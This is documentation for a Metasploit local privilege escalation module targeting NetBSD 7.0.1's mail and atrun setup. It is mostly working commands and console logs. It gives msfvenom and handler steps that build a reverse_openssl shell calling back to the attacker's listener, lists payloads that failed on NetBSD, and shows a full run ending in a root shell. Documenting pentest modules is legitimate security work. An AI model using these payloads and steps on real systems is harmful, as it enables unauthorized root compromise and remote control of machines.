## Vulnerable Application

  NetBSD 7.0.1 is available from the [official](http://cdn.netbsd.org/pub/NetBSD/NetBSD-7.0.1/images/NetBSD-7.0.1-amd64.iso) site, or on an [unofficial git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/NetBSD-7.0.1-amd64.iso) 

## Issues
Getting an initial shell that can write files correctly was difficult.  The best I found was reverse_openssl.

Payloads that didn't work:
* cmd/unix/reverse - connected back, but couldn't write file.
```
[*] Started reverse TCP double handler on 172.16.152.1:4444 
[*] Writing Payload to /tmp/zrWqhXpL
[*] Max line length is 131073
[*] /usr/bin/printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] /usr/bin/printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] perl -e 'print("\0\377\376\101\102\103\104\177\45\45\15\12")' Failed: "perl: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] gawk 'BEGIN {ORS="";print "\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a"}' </dev/null Failed: "gawk: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] echo '00fffe414243447f25250d0a'|xxd -p -r Failed: "xxd: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] echo -ne '\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a' Failed: "-ne \\x00\\xff\\xfe\\x41\\x42\\x43\\x44\\x7f\\x25\\x25\\x0d\\x0a\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[-] Exploit failed: RuntimeError Can't find command on the victim for writing binary data
[*] Exploit completed, but no session was created.
```
* cmd/unix/reverse_awk - `awk: syntax error at source line 1`
* cmd/unix/reverse_bash - `./bsd.payload: 1: Syntax error: Bad fd number`
* cmd/unix/reverse_bash_telnet_ssl - `$ telnet: unknown option -- z`
* cmd/unix/reverse_ssl_double_telnet - `$ telnet: unknown option -- z`
* cmd/unix/reverse_lua - `lua: (command line):1: module 'socket' not found`
* netcat, node, perl, php, python, php, ruby, zsh - all not installed by default
* bsd/* didn't seem to work either, maybe its for freebsd?

Payloads that did work:
* cmd/unix/reverse_openssl

## Verification Steps

  1. Start msfconsole
  2. Get an initial shell
    1. Create working shell, scp it over
```
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
```
    2. Setup msf to handle
```
use exploit/multi/handler
set payload cmd/unix/reverse_openssl
set lhost 172.16.152.1
exploit
```
    3. Run the shell from NetBSD
```
$ cd /tmp
$ ls
bsd.payload
$ chmod +x bsd.payload 
$ ./bsd.payload 
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
depth=0 CN = vgekg
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = vgekg
verify return:1
```
    4. Receive the shell and background it
```
[*] Started reverse double SSL handler on 172.16.152.1:4444 
[*] Starting the payload handler...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NwNHAEiJioYIvn4M;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "NwNHAEiJioYIvn4M\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
^Z
Background session 1? [y/N]  y
```
  3. Do: `use exploit/unix/local/netbsd_mail_local`
  4. Do: `set payload cmd/unix/reverse_openssl`
  5. Do: `set lhost 172.16.152.1`
  6. Do: `set verbose true`
  7. Do: `set session 1`
  8. Do: `exploit`
  9. You should get a *root* shell.

## Options

### ATRUNPATH
  File location of atrun, defaults to `/usr/libexec/atrun`
  
### MAILDIR
  Location of mail folder, defaults to `/var/mail`
  
### WritableDir
  Location of a writable directory for our payload, defaults to `/tmp`
  
### ListenerTimeout
  Since this exploit utilized a cron which has a 10min timer, the listener timeout needs to be 10min + padding.  Defaults to `603` seconds (10min, 3sec)

## Scenarios

  Here is a run against a virgin install of `NetBSD  7.0.1 NetBSD 7.0.1 (GENERIC.201605221355Z) amd64` (from the unofficial link at the top)
  
  In this example, I got lucky and only had to wait ~1min for the cron to hit, which is every 10min by default

  1. Get an initial shell
    1. Create working shell, scp it over
```
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
```
    2. Setup msf to handle
```
use exploit/multi/handler
set payload cmd/unix/reverse_openssl
set lhost 172.16.152.1
exploit
```
    3. Run the shell from NetBSD
```
$ cd /tmp
$ ls
bsd.payload
$ chmod +x bsd.payload 
$ ./bsd.payload 
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
depth=0 CN = vgekg
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = vgekg
verify return:1
```
    4. Receive the shell and background it
```
[*] Started reverse double SSL handler on 172.16.152.1:4444 
[*] Starting the payload handler...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NwNHAEiJioYIvn4M;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "NwNHAEiJioYIvn4M\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
^Z
Background session 1? [y/N]  y
```
  2. Run the exploit
```
msf exploit(netbsd_mail_local) > set payload cmd/unix/reverse_openssl
payload => cmd/unix/reverse_openssl
msf exploit(netbsd_mail_local) > set lhost 172.16.152.1
lhost => 172.16.152.1
msf exploit(netbsd_mail_local) > set verbose true
verbose => true
msf exploit(netbsd_mail_local) > set session 1
session => 1
msf exploit(netbsd_mail_local) > exploit
[*] Started reverse double SSL handler on 172.16.152.1:4444 
[*] Writing Payload to /tmp/pjDkvmGg
[*] Max line length is 131073
[*] Writing 176 bytes in 1 chunks of 618 bytes (octal-encoded), using printf
[*] Writing exploit to /tmp/GHIKGOWX.c
[*] Max line length is 131073
[*] Writing 4898 bytes in 1 chunks of 17162 bytes (octal-encoded), using printf
[*] Compiling /tmp/GHIKGOWX.c via gcc
[*] Starting the payload handler...
[*] Executing at 2016-08-25 19:59:04 -0400.  May take up to 10min for callback
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo X6C4UIDx4zmwM0DJ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "X6C4UIDx4zmwM0DJ\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (172.16.152.1:4444 -> 172.16.152.128:65532) at 2016-08-25 20:00:02 -0400
[*] 2016-08-25 20:00:02 -0400
[*] Remember to run: chown root:wheel /usr/libexec/atrun
[+] Deleted /tmp/pjDkvmGg
[!] This exploit may require manual cleanup of '/tmp/pjDkvmGg' on the target
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX' on the target
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX.out' on the target
1633029467
TkBWZEPqsRvYvmwNaTcjImhcSzZHOAtY
true
JUqfyioWthnpvyxRJAZosSGQjnLHqPUB
sHXbQbHqFIbnZGoFWlZoppGprWyKwFCr
nDpSrEmQhDuVSxIpILWCOABbMOIAWUTx
whoami
root
```
